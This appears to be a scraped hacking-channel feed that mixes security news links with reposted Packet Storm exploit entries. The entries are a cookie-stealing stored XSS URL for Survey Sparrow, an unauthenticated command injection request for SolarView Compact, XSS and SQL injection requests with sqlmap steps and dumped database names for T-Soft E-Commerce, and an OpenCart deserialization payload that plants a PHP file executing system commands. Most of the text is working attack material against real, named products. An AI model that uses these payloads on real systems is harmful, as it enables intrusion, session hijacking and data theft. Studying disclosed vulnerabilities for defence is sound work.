Dark Reading: Attacks/Breaches
Barracuda Expands Cloud-Native SASE Platform to Protect Hybrid Cloud Deployments

Expansion includes new capabilities for hybrid deployment models and industrial Internet of things (IIoT) environments.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Local Government's Guide to Minimizing the Risk of a Cyberattack

Most local leaders lack cybersecurity resources so they don't know where their weaknesses are and which areas threat actors are most likely to target, with little focus or understanding of risk.

Nighthawk 0.2 - Catch Us If you Can - @MDSecLabs
https://www.reddit.com/r/redteamsec/comments/urr1gj/nighthawk_02_catch_us_if_you_can_mdseclabs/

submitted by /u/dmchell (https://www.reddit.com/user/dmchell)
[link] (https://www.mdsec.co.uk/2022/05/nighthawk-0-2-catch-us-if-you-can/) [comments] (https://www.reddit.com/r/redteamsec/comments/urr1gj/nighthawk_02_catch_us_if_you_can_mdseclabs/)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
IAT-Hooking Bypass

https://cdn-images-1.medium.com/max/930/1*IC3Frg-GN4gZTH9q71MadA.png
Hello guys welcome to my first Blogpost. I recently started learning about the concept of IAT-Hooking and I got an idea on how to bypass…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Want to learn Account Takeover? I got you
https://faiyazhacks.medium.com/want-to-learn-account-takeover-i-got-you-971797521530?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

IntroductionContinue reading on Medium » (https://faiyazhacks.medium.com/want-to-learn-account-takeover-i-got-you-971797521530?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Survey Sparrow Enterprise Survey Software 2022 Cross Site Scripting

https://1.bp.blogspot.com/-9u0QXe9ybeo/WWlvU_DnejI/AAAAAAAAIN0/BUl-HrIsuwE3sKywG67Nuv_wLRABID6oQCLcBGAs/s1600/h45.png
Survey Sparrow Enterprise Survey Software 2022 suffers from a persistent cross site scripting vulnerability.

SHA-256 | afd7b7d6dc71690c8e9b74e168637e22184d16b38d583b0e4f0fc7f27fe83aad

Download
# Exploit Title: Survey Sparrow Enterprise Survey Software 2022 - Stored Cross-Site Scripting (XSS)
# Date: May 11 2022
# Exploit Author: Pankaj Kumar Thakur
# Vendor Homepage: https://surveysparrow.com/
# Software Link: https://surveysparrow.com/enterprise-survey-software/
# Version: 2022
# Tested on: Windows
# CVE : CVE-2022-29727
# References:
https://www.tenable.com/cve/CVE-2022-29727
https://github.com/haxpunk1337/Enterprise-Survey-Software/blob/main/Enterprise-Survey-Software%202022

#POC

For Stored XSS

Visit
https://LOCALHOST/login?test=Javascript%26colon;%252F%252F%E2%80%A9confirm?.(document.cookie)//

XSS Executed


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
SolarView Compact 6.0 Command Injection

https://4.bp.blogspot.com/-xWCWgAV3Ny0/WWlvBhL9TTI/AAAAAAAAIKY/j6Iuv-WtlEAbM80hi5qIKa1OI4pChiwSgCLcBGAs/s1600/h124.png
SolarView Compact version 6.0 suffers from a command injection vulnerability.

SHA-256 | 893deed2e4181f38ba09efbd6381b56f6ca00311c05547810779183d11af7196

Download
# Exploit Title: SolarView Compact 6.0 - OS Command Injection
# Date: 2022-05-15
# Exploit Author: Ahmed Alroky
# Author Company : AIactive
# Version: ver.6.00
# Vendor home page : https://www.contec.com/
# Authentication Required: No
# CVE : CVE-2022-29303
# Tested on: Windows

# Exploit
# HTTP Request :
POST /conf_mail.php HTTP/1.1
Host: HOST_IP
Content-Length: 77
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://HOST_IP
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://HOST_IP/conf_mail.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

mail_address=%3Bid%3Bwhoami%3Bpwd%3Bls%3B&button=%83%81%81%5B%83%8B%91%97%90M


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
T-Soft E-Commerce 4 Cross Site Scripting

https://4.bp.blogspot.com/-mbNmyGHywr4/WWlve-suujI/AAAAAAAAIP4/9elXOC6IHOcW_3VzQDLCix2bjP9zh38ZgCLcBGAs/s1600/h83.png
T-Soft E-Commerce version 4 suffers from a persistent cross site scripting vulnerability.

SHA-256 | a38f9872c25051fb5d40689975a5a643292512cac28208caeaa677228ed3e251

Download
# Exploit Title: T-Soft E-Commerce 4 - 'UrunAdi' Stored Cross-Site Scripting (XSS)
# Exploit Author: Alperen Ergel (alpernae IG/TW)
# Web Site: https://alperenae.gitbook.io/
# Software Homepage: https://www.tsoft.com.tr/
# Version : v4
# Tested on: Kali Linux
# Category: WebApp
# Google Dork: N/A
# Date: 2022-05-10
# CVE :N/A

######## Description ########
#
# 1-) Login administrator page and add product
#
# 2-) add product name to xss payload
#
# 3-) Back to web site then will be work payload
#
#
######## Proof of Concept ########

========>>> REQUEST

POST /Y/Moduller/_Urun/Ekle/Action.php HTTP/1.1
Host: domain.com
Cookie: lang=tr; v4=on; nocache=1; TSOFT_USER=xxxx@xxx.com; customDashboardMapping=true; PHPSESSID=18d05ae557640c93fd9739e241850438; rest1SupportUser=0; nocache=1; last_products=12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 1028
Origin: https://domain.com
Dnt: 1
Referer: https://domain.com/srv/admin/products/save-edit/index?id=12
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

task=UPDATE&Kategori=18&UrunId=12&UrunAdi={PAYLOAD}&MarkaId=0&MarkaAd=&ModelId=0&ModelAd=&Tedarikci=0&TedarikciKodu=12&StokSayisi=100
&StokBirimId=1&StokBirimAd=Adet&EnYeniUrun=0&EnCokSatilan=0&AramaKelimeleri=&HamSatis=200&AlisFiyat=100&HavaleYuzde=0&Birim=0
&KDV=18&KdvGoster=false&point_catalog=false&IndirimliUrun=true&AltUrunVar=false&YeniUrun=true&AnaSayfaUrun=true&VitrinUrun=false
&Gorunme=true&BayiUrun=false&SiparisNotuGoster=false&En=0&Boy=0&Derinlik=0&Agirlik=0&Desi=1&GarantiBilgisi=
&TeslimatBilgisi=&UrunNot=&WsUrunKodu=T12&SeoAyar=3&SeoTitle=&SeoLink=deneme-urun-1&SeoDesc=&SeoKeyw=
&Detay=%C3%9Cr%C3%BCn%20ekleme%20konusunda%20detayl%C4%B1%20bilgi%20i%C3%A7in%2C%20videomuzu%20
izleyebilirsiniz%3A%C2%A0%0A%3Cdiv%3E%3Ca%20href%3D%22https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DoWlUHvi4IPw%22%3Ehttps%3A%2F%2Fwww.youtube.com%
2Fwatch%3Fv%3DoWlUHvi4IPw%3C%2Fa%3E%3C%2Fdiv%3E&AnaKategoriId=18&point=0&subscribe=0&subscribe_frequency=&subscribe_discount_rate=0
&UruneKargoUcretsiz=0&UyeUcretsizKargo=0&BayiUcretsizKargo=0&Sayisal1=0


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
T-Soft E-Commerce 4 SQL Injection

https://2.bp.blogspot.com/-7dI_F0yeiSk/WWlvAqxVj9I/AAAAAAAAIKQ/m4aOGdGGTmo7o3qANzxUijwjE_G1NHOSQCLcBGAs/s1600/h123.png T-Soft E-Commerce version 4 suffers from a remote SQL injection vulnerability.

SHA-256 | 45b5224650ea3cb883a0c405f3c4d76eef8cc2dbc8f3fb98282c4ea633d2e202Download # Exploit Title: T-Soft E-Commerce 4 - SQLi (Authenticated)
# Exploit Author: Alperen Ergel
# Contact: @alpernae (IG/TW)
# Software Homepage: https://www.tsoft.com.tr/
# Version : v4
# Tested on: Kali Linux
# Category: WebApp
# Google Dork: N/A
# CVE: 2022-28132
# Date: 18.02.2022
######## Description ###########################################
#
#
#
# Step-1: Login as Admin or with privilage user
# Step-2: Open burp or zap and request the {PoC REQUEST PATH} vulnerable path
# Step-3: Capture the request save as .txt
# Step-4: Run SQLMAP with this command 'sqlmap -r {req.txt} --dbs --level 5 --risk 3 --tamper=space2comment' --random-agent'
# Step-5: Now you're be able to see the dbs for more search 'how to use sqlmap advance'
#
# Impact: Attacker can see the what have in database and it's big impact and attacker can stole datas...
#
#
#
######## Proof of Concept ########################################

========>>> REQUEST

GET /Y/Moduller/_Urun/Json.php?_dc=1646232925144&sort=kayittarihi&dir=DESC&AramaKelimesi=&AramaKriteri=UrunAdi&SatisAlt=&SatisUst=
&marka=&model=&tedarikci=&AlisAlt=&AlisUst=&KdvAlt=&KdvUst=&StokAlt=&StokUst=&birim=&extra=&kategori=&Kategori=&gor=0&ind=0¥i=0&karsila=0&ana=0&grup=&firsat=0&mercek=0&kdvGoster=0&filtre=0&video=0&xml_not_update_price=0&xml_not_update_stock=0&multi_category_sort=0&simge=&desiAlt=&desiUst=&agirlikAlt=&agirlikUst=&stokBirim=&FirsatBaslamaTarihiBas=&FirsatBaslamaTarihiSon=&FirsatBitisTarihiBas=&FirsatBitisTarihiSon=&UrunEklemeTarihiBas=&UrunEklemeTarihiSon=&havaleAlt=&havaleUst=&page=1&start=0&limit=20 HTTP/2
Host: domain.com
Cookie: lang=tr; v4=on; nocache=1; TSOFT_USER=xxx@xx.com; customDashboardMapping=true; countryCode=TR; rest1SupportUser=0; nocache=1; yayinlanmaDurumuPopup=1; yayinlanmaDurumuPopupTimeout=864000; PHPSESSID=fcfa85a5603de7b64bc08eaf68bc51ca; U_TYPE_CK=131; U_TYPE_OK=c16a5320fa475530d9583c34fd356ef5; TSOFT_LOGGED=7d025a34d0526c8896d713159b0d1ffe; email=; phone=; password=
Sec-Ch-Ua: "(Not(A:Brand";v="8", "Chromium";v="98"
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Sec-Ch-Ua-Platform: "Linux"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://domain.com/srv/admin/products/products-v2/index
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

=============> RESULTS OF THE SQLMAP

Parameter: SatisAlt (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: _dc=1646232925144&sort=kayittarihi&dir=DESC&AramaKelimesi=&AramaKriteri=UrunAdi&SatisAlt=' AND 1331=1331 AND 'RcAU'='RcAU&SatisUst=&marka=&model=&tedarikci=&AlisAlt=&AlisUst=&KdvAlt=&KdvUst=&StokAlt=&StokUst=&birim=&extra=&kategori=&Kategori=&gor=0&ind=0¥i=0&karsila=0&ana=0&grup=&firsat=0&mercek=0&kdvGoster=0&filtre=0&video=0&xml_not_update_price=0&xml_not_update_stock=0&multi_category_sort=0&simge=&desiAlt=&desiUst=&agirlikAlt=&agirlikUst=&stokBirim=&FirsatBaslamaTarihiBas=&FirsatBaslamaTarihiSon=&FirsatBitisTarihiBas=&FirsatBitisTarihiSon=&UrunEklemeTarihiBas=&UrunEklemeTarihiSon=&havaleAlt=&havaleUst=&page=1&start=0&limit=20
---
back-end DBMS: MySQL 5
available databases [2]:
[*] d25082_db
[*] information_schema

[13:05:31] [INFO] GET parameter 'SatisAlt' appears to be 'SQLite > 2.0 OR time-based blind (heavy query)' injectable Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
OpenCart So Listing Tabs 2.2.0 Unsafe Deserialization

https://4.bp.blogspot.com/-dXEgdVI0XVY/WWlvXX6BPpI/AAAAAAAAIOU/sj4iy4kTRsMzyN3cFQhci5D2DaW9DOMPwCLcBGAs/s1600/h52.png OpenCart So Listing Tabs component versions 2.2.0 and below suffer from a deserialization vulnerability that can allow for arbitrary file writes.

SHA-256 | 3bfd18c825f10a8abfe964c1ea209688517e067de8a3b9c084594fcd34b53d85Download [-] Affected Versions:

Version 2.2.0 is affected, and prior versions are likely affected too.

[-] Vulnerabilities Description:

Vulnerable component is switching to another tab. To exploit
vulnerability, an attacker may send a POST request (with
application/x-www-form-urlencoded content-type) to AJAX endpoint
(usually "/index.php") with "is_ajax_listing_tabs" parameter set to
"1" and "setting" parameter containing a PHP-serialized object,
which would be deserialized at server-side. Gadget-chains based on PHP
server-side code can be used to gain remote code execution, file
write, DOS, etc.

So Listing Tabs is an Opencart plugin, so the Opencart PHP classes are
available in webapp lifecycle. In source code of Opencart there is a PHP
gadget-chain which allows to write a file to the server.
Using this gadget, an attacker can write .php files with PHP code inside
app's web root and then execute it via requesting them, thus gaining
remote code
execution, which makes insecure deserialization in So Listing Tabs
especially dangerous. Ability to write files can also be used to DOS the
system by writing large files and exhausting disk space, it can be used to
perform XSS attacks by creating HTML files inside web root.

Here is an example of request which will write PHP file on server
in /tmp directory:

---
POST /index.php HTTP/2
Host: 0.0.0.0
Content-Length: 3870
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://0.0.0.0/

is_ajax_listing_tabs=1&ajax_reslisting_start=0&categoryid=p_date_added&
setting=a%3a74%3a{s%3a6%3a"action"%3bs%3a9%3a"save_edit"%3b...
...
s%3a2%3a"aa"%3bO%3A9%3A%22DB%5CMySQLi%22%3A1%3A%7Bs%3A21%3A%2
2%00DB%5CMySQLi%00connection%22%3BO%3A7%3A%22Session%22%3A3%3A%7Bs%3A10%3A%
22%00%2A%00adaptor%22%3BO%3A21%3A%22Twig_Cache_Filesystem%22%3A2%3A%7Bs%3A3
2%3A%22%00Twig_Cache_Filesystem%00directory%22%3BN%3Bs%3A30%3A%22%00Twig_Ca
che_Filesystem%00options%22%3BN%3B%7Ds%3A13%3A%22%00%2A%00session_id%22%3Bs
%3A11%3A%22%2Ftmp%2Fff.php%22%3Bs%3A4%3A%22data%22%3Bs%3A24%3A%22%3C%3Fphp+
system%28%22ls+%2F%22%29%3B+%3F%3E%22%3B%7D%7D}&lbmoduleid=157
---

[-] Solution:

No official solution is currently available.

[-] Disclosure Timeline:

[28/01/2022] - CVE number assigned
[31/01/2022] - Vendor contacted
[02/02/2022] - Vendor asked for description of vulnerability
[02/02/2022] - Send report to vendor
[11/02/2022] - Vendor contacted for asking about updates
[11/02/2022] - Vendor answered that did not get the report
[11/02/2022] - Send report again
[16/02/2022] - Vendor contacted to ask about receiving the report
[17/02/2022] - Automatic generated answer about overloaded system
[07/04/2022] - Vendor contacted again asking for updates
[15/05/2022] - Vendor contacted to notify about public disclosure
[16/05/2022] - Vendor contacted to notify about public disclosure to
enother email
[16/05/2022] - Public disclosure

[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the id CVE-2022-24108 to these vulnerabilities.

[-] Credits:

Vulnerability discovered by
Denis Mironov (SolidSoft LLC),
Alexey Smirnov (SolidSoft LLC),
Daniil Sigalov (SolidSoft LLC),
Dmitry Pavlov (SolidSoft LLC),
Maxim Malkov (SolidSoft LLC) Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video